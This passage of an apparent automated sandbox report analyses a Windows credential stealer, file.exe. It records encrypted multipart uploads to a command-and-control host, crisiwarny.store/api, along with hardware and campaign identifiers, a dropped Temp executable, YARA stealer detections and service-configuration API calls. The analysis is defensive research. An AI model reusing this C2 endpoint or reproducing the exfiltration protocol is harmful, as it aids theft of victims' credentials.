2024-10-27 06:59:11 UTC	1223	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 31 44 35 32 44 37 46 31 42 36 32 34 35 45 36 30 30 32 41 37 36 39 42 36 43 42 43 31 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"221D52D7F1B6245E6002A769B6CBC160--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 06:59:12 UTC	1013	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8dmnga1c059msbrfed4sqml05t; expires=Thu, 20 Feb 2025 00:45:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zZuhxm048Hi5Jt%2FWgWpffl16tXjR8v2IdwEQAIq6xEzvpVmis5LOflfe8Zrd9GpJa%2BJtmgobE13f%2F014CrRvR%2FgtPEg%2FEj5h5TjyNoAY4I95XXktY5Ikrx7U4GV3Cwiw1uvJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d90cd4cfda9e9c6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1382&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2140&delivery_rate=2074498&cwnd=245&unsent_bytes=0&cid=580784d21f940ad1&ts=1305&x=0"
2024-10-27 06:59:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 06:59:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49727	172.67.170.64	443	6188	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 06:59:13 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571969 Host: crisiwarny.store
2024-10-27 06:59:13 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 31 44 35 32 44 37 46 31 42 36 32 34 35 45 36 30 30 32 41 37 36 39 42 36 43 42 43 31 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"221D52D7F1B6245E6002A769B6CBC160--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 06:59:13 UTC	15331	OUT	Data Raw: d3 24 ba 39 2b 33 c2 18 1b 39 53 35 c9 b7 61 de a2 42 56 1e 1f 2b 6f 94 9a a2 27 75 25 b1 7c 32 ae 2e b9 98 51 f9 59 ba 68 84 cf e8 61 f8 a1 5e 6c ac f8 83 22 6e 31 1e 8c a3 da a7 78 bf 0c 55 e9 06 09 9c 3b 52 c4 ab 10 91 15 af 7f c3 84 d0 bf 3f 1a f6 93 98 15 a2 33 50 ed 93 eb 62 7d 45 c3 91 0c 11 a2 9a ee 94 01 c0 d8 9e a8 c0 9d 26 51 32 e6 8d 0c 63 22 ec 09 cf 93 ad 55 e9 7d 4b e6 70 cc 20 cc 16 12 dc 92 c0 f4 a1 e1 78 ee ad 48 8d 8f d7 c7 6d e3 d4 c7 95 5e 7e 71 60 3e 73 b0 66 d9 d3 a5 e3 b6 6f f9 3d 9e 83 83 d2 4e dc 78 51 eb 07 be 6b 15 9a 1b 4b 7f dc e5 76 24 40 99 a8 48 56 18 09 16 98 a6 e4 6b ba 36 90 3a b0 17 19 d9 fd 7e 92 3b 8d d2 e6 37 2c b8 87 c6 a2 b7 eb c3 f6 59 1a 62 e1 59 7c 09 25 79 85 7d a5 18 92 54 fa fa aa e5 45 33 b5 82 2f d6 3d fd Data Ascii: $9+39S5aBV+o'u%\|2.QYha^l"n1xU;R?3Pb}E&Q2c"U}Kp xHm^~q`>sfo=NxQkKv$@HVk6:~;7,YbY\|%y}TE3/=
2024-10-27 06:59:13 UTC	15331	OUT	Data Raw: d5 5a 01 49 af 1f 65 ed 61 f8 01 f3 8d 63 b7 fb b9 4f 60 02 b3 7e cd 7c a0 25 a5 a0 92 dd 3c d1 f9 e8 63 78 85 e8 6d fa 0f 5f d1 a8 17 a5 bc f7 3f 22 09 5d 1d ec 17 0e 04 8f de 4e c3 f9 03 99 6b 0b 6f 86 ab 7b 3f a8 92 1a 8e ec be c3 ee 2c ab 1d 4f ac f6 2a aa 9a 5f 0f 19 f6 2a 1b 99 0c e7 ae 64 56 55 2d 6c 7e 08 f1 9b 3d 5a 46 fe f2 f7 6b 88 f1 2e 80 fb c9 49 eb a7 59 c0 7f 3f 32 cb 57 3a f4 d5 e1 ba 02 ee e2 79 d6 60 66 e0 ce d0 17 31 e7 8d 43 0a 72 52 4b 9b 3f 6e af d1 47 ff 55 13 36 71 fe fa 7a 23 43 74 6c f9 be 43 f5 fc b7 70 d6 d8 53 c1 9a 8e df 6b 26 7f 52 f8 56 c3 e9 a8 62 16 69 cf 8d a4 3d f4 2e 7f 95 db d7 87 85 ad 8c 39 25 0e 55 77 df 0d 95 dc fc 67 88 bd 5e 55 cf 9f c3 52 0e 1b 8d fc ea 61 60 51 de 11 f9 60 bf 77 50 10 ec d7 38 f9 6c 87 91 f7 Data Ascii: ZIeacO`~\|%<cxm_?"]Nko{?,O_dVU-l~=ZFk.IY?2W:y`f1CrRK?nGU6qz#CtlCpSk&RVbi=.9%Uwg^URa`Q`wP8l
2024-10-27 06:59:13 UTC	15331	OUT	Data Raw: f9 6f fd 89 87 d3 66 6e d1 6f 5a f0 a5 af df 3f ae f9 a2 18 9c 60 7e 5c a8 d4 77 85 34 a9 1d fa 13 8b dd 0e f0 e1 bf b4 f9 27 7d d5 eb 1b 5f 72 e3 98 02 d6 85 48 56 c5 dc 2b c7 64 31 f1 be 88 4d 92 6e 5a 4a 75 a5 8c 67 43 6f 40 51 33 f4 2f 73 e2 cf 16 58 ea b3 7c 0a a3 cd f8 d9 84 c3 00 b3 ee cf 68 ba e7 d6 e9 c3 8d bc f3 5f 51 91 d6 cf 77 48 be 98 01 c0 b3 53 71 06 f3 95 93 75 cf 7f 73 59 ff 4d e4 f4 69 df 52 4a d6 46 37 ed b2 de 78 4f cb e8 0b 49 df 73 61 f0 e7 d5 78 36 0c 71 4b 46 71 1e ab 6e c7 74 e0 5d 5c f0 e4 ab 0b 66 06 2b b2 b6 a3 76 54 07 47 4b 9c 8d 0a 48 e6 2e 7b 9a ae dd fb 42 fd c9 1a c8 33 a5 cf 3d 2a de b9 bb ff eb 90 fd 76 80 fe 4e 61 09 18 4e fc 8c 24 d1 14 68 46 fc 40 97 1f 8a e6 05 13 e5 d9 1a e8 6e 1e e6 2c 02 28 21 29 f8 6b 52 c7 93 Data Ascii: ofnoZ?`~\w4'}_rHV+d1MnZJugCo@Q3/sX\|h_QwHSqusYMiRJF7xOIsax6qKFqnt]\f+vTGKH.{B3=*vNaN$hF@n,(!)kR
2024-10-27 06:59:13 UTC	15331	OUT	Data Raw: e7 01 f2 0d 42 a2 e0 75 bb b6 a1 e6 aa df 84 af aa 23 b2 76 a1 3a 70 6c 70 88 c9 59 3c ae 09 d1 ce f0 da 4d b3 dd 12 c3 bf 2e 25 a9 63 fa 34 c4 81 cb 53 a9 d3 57 c1 14 6b 87 a7 fe 81 b6 6e 62 8b f9 15 aa fa 85 1a 83 6a a3 56 c6 4a 44 eb ff b6 ae 23 b8 ee 5a 66 9c 0a 8f 50 a9 3a 9d 89 01 59 e5 88 37 ff 4f a8 fe 3f 39 db 00 4e 33 b3 a5 88 80 39 0c b8 86 9e 1a b1 97 84 9a 5e 6e 77 fd e2 04 2c e0 80 1c 43 42 76 c3 8e 25 02 84 6e e7 ab 42 41 4a 70 ba f0 8a 01 20 23 c2 44 c1 81 ae 3b c0 b4 bb 3e 18 c3 56 43 b5 9c f2 37 2a 1c 6a 99 c3 ff 33 89 ea 45 1f 1d 6a 15 2f 40 c6 bc 92 20 7f 30 83 70 f2 19 75 21 46 df e5 82 5e cf e6 bb 8b e2 88 32 e4 34 2d b6 15 d7 eb 28 9c 3c 68 98 52 1d ab 74 43 74 0a 25 60 41 a4 22 36 0f 2f b5 d3 11 44 f6 45 1f eb cd d9 8f 9b e1 ba dc Data Ascii: Bu#v:plpY<M.%c4SWknbjVJD#ZfP:Y7O?9N39^nw,CBv%nBAJp #D;>VC7*j3Ej/@ 0pu!F^24-(<hRtCt%`A"6/DE
2024-10-27 06:59:13 UTC	15331	OUT	Data Raw: 76 2f ea 58 c3 47 bf 24 5d 4d f7 fa 05 8f 17 59 56 ca f4 00 50 e1 25 8d 2c f8 4d ab 26 a0 ae 68 36 52 21 06 9b bb cc 5d 83 83 4f 68 59 42 9a 96 24 08 ca 9f cb fd 6f 9d 5d bf 5d 33 af 70 19 dc f1 7b c6 e7 3b 32 0e f3 47 fa df 99 89 02 00 70 84 81 46 22 14 0a 98 eb 53 53 0f 46 d2 ce c3 f9 e1 75 d8 13 ca 8d ce db 3d 10 57 bd ff b0 01 58 c3 e6 29 f0 ea 8f 91 9b 43 14 01 f0 6a a9 0d 49 57 60 d1 53 42 7f 95 1e 30 c0 4e 05 68 20 21 5e c4 21 84 09 95 7e 8f c9 3d 4d 88 89 ac f6 fd d2 2a f0 42 df 5b f2 66 cb c8 df 37 ec 58 55 1d 87 1c 85 85 eb 9f eb dd 2a bd fe 06 22 8f 6f 5c de 23 03 b4 6f 0e 4d fc 83 d9 f8 0a 31 ca aa 8f e1 18 82 63 3a 18 21 68 a1 51 a8 57 f2 a7 2c bd 71 cf a5 33 b9 58 df c2 82 1a 02 ff 1c 1c 9f 58 a6 23 1a 5e df 06 db 65 a3 f2 10 59 7d f1 20 b6 Data Ascii: v/XG$]MYVP%,M&h6R!]OhYB$o]]3p{;2GpF"SSFu=WX)CjIW`SB0Nh !^!~=MB[f7XU"o\#oM1c:!hQW,q3XX#^eY}
2024-10-27 06:59:13 UTC	15331	OUT	Data Raw: 64 79 07 a2 1c 80 ee a3 d6 85 71 7e 62 05 24 35 82 6e 70 37 28 f2 41 5c fb 81 39 65 46 a8 3b 51 60 10 9f 5a 77 dc 67 6d 5f 8b 99 8a e4 26 a0 56 e4 be 94 ed 66 c3 41 50 a7 16 53 aa 5f c0 7b 92 eb b7 a7 18 1b d2 3a ff 85 2e c8 48 2a e6 62 51 8a 76 3c 88 83 92 f5 b5 0f 21 32 bb 80 ed 92 ba e5 01 31 0c 8c 3f 1b 6e 6f 4a a8 b4 7a 2e 0e 7f 16 48 63 fd 76 65 fd fe a7 ae e6 59 04 77 33 67 7b 92 a3 f4 c6 b5 46 91 63 16 cc 52 58 38 b2 b1 c7 9a 6d 1e bf 18 ce 6a 4b dc 51 8f a1 a8 0f 31 a8 0c c2 78 e3 df 6f 5f fc 7a 61 43 b7 7b 05 eb 3e f3 1a 77 19 d9 7f 4a dd 68 75 86 be cc fa 67 b7 d4 00 55 95 a1 83 9d ea e1 01 35 cb df 7f 7a de bc 14 62 69 45 28 8a db ac c0 44 cd bf 51 3d 7d ff c4 9d 79 a7 3e 4f bf dc 9e a7 2d 02 01 74 df 9b 4a 81 78 6d 71 d9 35 a5 bd 28 7c f4 6a Data Ascii: dyq~b$5np7(A\9eF;Q`Zwgm_&VfAPS_{:.H*bQv<!21?noJz.HcveYw3g{FcRX8mjKQ1xo_zaC{>wJhugU5zbiE(DQ=}y>O-tJxmq5(\|j
2024-10-27 06:59:13 UTC	15331	OUT	Data Raw: 80 ae 32 ec c5 5b fe 1c b4 2b f2 c5 aa 89 16 6f 0e 91 3d 57 ef 3e 3a 37 c4 9f 21 55 f9 28 c3 df 34 3e 57 a7 ad cc 1d 9a 9c d3 61 ee 1e fe b6 7a 94 9f 33 64 32 73 ac fe 26 bb 9a 14 2c f8 6e 3b 48 97 50 87 8e 35 01 70 54 07 4c 77 ee ac 88 83 48 ce 31 af 3d 58 3d 6f 26 01 5a 46 54 68 35 f7 ef d3 1e 88 9a 86 7f e7 ee 53 49 2d 90 70 dd fa e2 91 6b 0d 32 5e a6 f7 b7 48 b4 88 d5 37 33 c5 c5 29 22 2b c7 b3 0b fb 2a 1b 9e 17 16 ff b4 46 30 a5 51 19 9f 1b 58 ff 09 c1 c3 d1 f0 09 51 60 c7 fe 00 09 9e 54 54 e9 01 24 e8 94 02 cd a6 bd 76 9b 93 24 23 21 2a b9 c5 02 30 5f dd 1f 0c fa 5a 57 09 53 a4 13 02 10 70 22 e7 c5 93 1a 1f ee 55 0c df 47 da 69 0c 19 74 7b e3 2c 48 d7 c4 5d c6 40 c2 40 86 a7 01 b4 f4 d7 1f 62 19 6e 8e 07 e0 61 fd 21 a6 97 c4 e3 ca 32 49 20 c4 74 94 Data Ascii: 2[+o=W>:7!U(4>Waz3d2s&,n;HP5pTLwH1=X=o&ZFTh5SI-pk2^H73)"+F0QXQ`TT$v$#!0_ZWSp"UGit{,H]@@bna!2I t
2024-10-27 06:59:13 UTC	15331	OUT	Data Raw: 22 72 d0 e7 bd 61 1e 1c 12 c0 fb b6 6c b3 f0 90 2d 8d 92 04 d7 37 7b 94 97 70 af 58 d1 5e c9 18 9a 3a 02 f2 14 e2 42 bb 5c 36 de cf bd 0c 32 da 95 6a 83 0e 7b d9 a4 3b c6 1d cc 48 b5 cf 8c dc 2f db 6c ab f7 a4 fa 29 a6 5f 49 05 0e 80 0e fe f5 8f 6e 14 31 5b 75 98 79 16 f1 f7 15 4c f2 3c 23 9d 9d cb c2 7b fb 40 bf 56 0b 93 90 75 68 6c 76 2e 70 70 8e ea 42 34 3f a0 4f 0a d5 4b 38 b4 21 28 ca 0b a6 39 c4 94 44 85 d7 5f 08 73 a3 a2 14 63 be f4 ea db bf e4 af 51 1a 6e 43 58 61 a1 98 13 0e 43 55 2f 9f e0 5b 78 75 ca 14 b7 22 23 f9 8e f3 61 bd 32 54 55 66 d6 c1 30 23 7e 6b 0b 78 c6 d8 d1 f3 76 62 7c 38 bc fa e4 0f dd 28 52 07 0b 15 cb 78 b1 c4 c5 82 62 99 52 e1 f5 b3 16 54 55 f4 35 04 a5 79 45 e0 99 24 57 35 48 28 6e dd db 95 09 7a 41 80 00 f7 9d b6 a0 dc 8f 6d Data Ascii: "ral-7{pX^:B\62j{;H/l)_In1[uyL<#{@Vuhlv.ppB4?OK8!(9D_scQnCXaCU/[xu"#a2TUf0#~kxvb\|8(RxbRTU5yE$W5H(nzAm
2024-10-27 06:59:13 UTC	15331	OUT	Data Raw: 20 6c a7 b8 1a eb f5 43 c8 96 64 9b e0 a5 5e 83 82 35 98 98 52 4c 82 8d 0d 69 d6 19 43 bd 3e 9b 05 28 b5 82 a4 4d 18 12 e6 68 81 fa d0 99 e1 ea 66 88 8a 43 24 63 78 ae ef e6 a7 5a be 2e cc fb 0e f2 87 7a 17 07 fc 3c c3 e7 7a 57 ab f6 9e d6 0a 9a fd 4c f6 9b c5 d0 87 cc 39 31 59 a7 1a e9 74 bf 57 fe 6c ee 5d 7f 36 cf 60 6c 56 97 c2 52 27 fe a7 36 b0 97 f8 05 3d ce f6 81 f8 34 31 ca 38 c4 ea b6 21 4f 99 cf 7f 28 2c fd 1d ec 3e 2e fe 71 62 fd 0d 0a b8 0d 0f 0e b0 af 03 79 52 76 75 e4 4c e3 ec 86 23 7d a8 3f 9c d5 ce 42 a0 40 b8 ff f2 c2 b5 8d 08 f7 db 40 af 14 08 0a 02 f7 61 cf 49 04 3c b0 d3 05 1e f8 03 e6 0f 0b dc c2 e3 aa ab b5 8e 85 73 12 20 b2 5c 06 ac 10 f8 7d 3b 67 05 41 3f 6a 35 66 29 65 7e ee 81 e7 63 3f 7b b3 e5 7b ce 95 37 8a cb 9b ac 98 91 ce 89 Data Ascii: lCd^5RLiC>(MhfC$cxZ.z<zWL91YtWl]6`lVR'6=418!O(,>.qbyRvuL#}?B@@aI<s \};gA?j5f)e~c?{{7
2024-10-27 06:59:15 UTC	1021	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=egtipnckjf6786puilspgf90ml; expires=Thu, 20 Feb 2025 00:45:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=18XpxOjTjJ0OSls%2BK%2FF8b%2FU7NDEwxa6oAwl0GQz7sM8D9pYSDoqLPpiZ9%2B0pP65NwkNUwpJWTVkpvyLbGCKvTdRK1w6Sq865bPMMKC4mc2cMpwV4jdh38%2BxGw5NOK7Q9WBO%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d90cd5c2ed1478d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1131&sent=225&recv=620&lost=0&retrans=0&sent_bytes=2838&recv_bytes=574516&delivery_rate=2296590&cwnd=239&unsent_bytes=0&cid=4d77ac346c96f4cb&ts=2061&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49744	172.67.170.64	443	6188	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 06:59:16 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-27 06:59:16 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 32 32 31 44 35 32 44 37 46 31 42 36 32 34 35 45 36 30 30 32 41 37 36 39 42 36 43 42 43 31 36 30 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=221D52D7F1B6245E6002A769B6CBC160
2024-10-27 06:59:17 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jsa9t944ahp6p1phj9bferphqm; expires=Thu, 20 Feb 2025 00:45:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SU13Xu7fZUSUcm1tYVb5jKjLK2aLhDun3s%2FDMHDstx7Fnmd0wa%2FcAvkezDt%2F1StDQl%2Fz5YTE9rrfCg2ekovGjRpxGeo8woC8JHxMfx9UGZe1dntp9qOiR5%2BiLDeK0WeaqVks"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d90cd6cfe05478e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=987&delivery_rate=1756215&cwnd=235&unsent_bytes=0&cid=90ad8c6607b910b0&ts=500&x=0"
2024-10-27 06:59:17 UTC	130	IN	Data Raw: 37 63 0d 0a 66 41 7a 34 70 49 35 57 52 4a 72 42 47 43 35 63 4b 6f 55 4f 32 30 78 57 4a 50 62 4a 4f 39 62 2b 55 45 4d 54 77 50 6a 53 72 66 45 6e 64 39 72 52 72 47 78 6d 38 72 56 73 58 6d 5a 32 71 6c 4c 30 66 57 34 52 32 50 73 4b 34 39 42 68 63 69 44 75 79 65 54 78 33 68 4e 71 6e 76 69 68 4d 69 48 38 37 33 31 57 4f 51 69 70 4c 4c 30 34 64 42 37 47 35 52 6d 7a 33 47 70 7a 62 70 30 3d 0d 0a Data Ascii: 7cfAz4pI5WRJrBGC5cKoUO20xWJPbJO9b+UEMTwPjSrfEnd9rRrGxm8rVsXmZ2qlL0fW4R2PsK49BhciDuyeTx3hNqnvihMiH8731WOQipLL04dB7G5Rmz3Gpzbp0=
2024-10-27 06:59:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:59:00
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x590000
File size:	3'006'464 bytes
MD5 hash:	4DE2D02365F8C1587BA6CD4C60ED583C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2185903553.00000000014B9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2198545884.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2163406436.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2212575525.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2198875402.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2212815375.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2215458427.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2212601522.00000000014BD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2212774632.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2163553412.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:59:23
Start date:	27/10/2024
Path:	C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe"
Imagebase:	0x960000
File size:	2'811'904 bytes
MD5 hash:	EE9819111F122A1721A97FCC6C77A7F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 014D696A Relevance: .7, Instructions: 724COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2216377100.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, Offset: 014D1000, based on PE: false

Associated: 00000000.00000003.2215682044.00000000014D1000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_14ba000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05995db78082c5b07db6bd9abd3b0e70e9c172d4f9c4d4715b6965a4627b732c
Instruction ID: b18547573c7120feb3e82a09a12f411c1ff347cce3fef2752458202d05c15673
Opcode Fuzzy Hash: 05995db78082c5b07db6bd9abd3b0e70e9c172d4f9c4d4715b6965a4627b732c
Instruction Fuzzy Hash: 7A62649280E7D14FD70387749C696947FB0AF13228B0E86EBC594CF5F3E268594AD326

Analysis Process: 4EIXPY3PJ1MHC0SHPSNPXSN.exePID: 5696, Parent PID: 6188COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	54.5%
Signature Coverage:	36.4%
Total number of Nodes:	22
Total number of Limit Nodes:	0

Executed Functions

Function 04D815D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04D818C8

Memory Dump Source

Source File: 00000005.00000002.2500602819.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d80000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: beeb49f9e66713115e293ae369f42887dd1ead6e781fe76a08581d7eafe10a10
Instruction ID: dff2cfcb9fc2a1a08c9f3e017892703d17cb7f2608d8857947df128100df70a6
Opcode Fuzzy Hash: beeb49f9e66713115e293ae369f42887dd1ead6e781fe76a08581d7eafe10a10
Instruction Fuzzy Hash: F1C16B71D006599FDB10EFA8CC467AEBBF1FF49314F148629E854E7284D774A88ACB81

Function 00AE7E90 Relevance: 1.6, APIs: 1, Instructions: 107
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00AE7E90

Memory Dump Source

Source File: 00000005.00000002.2498081702.0000000000AE7000.00000080.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000005.00000002.2497863674.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497879112.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497895129.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497912263.000000000096A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497930137.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498027287.0000000000AC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498043889.0000000000ACB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498065727.0000000000AE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498097218.0000000000AE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498097218.0000000000AF3000.00000040.00000001.01000000.00000006.sdmpDownload File
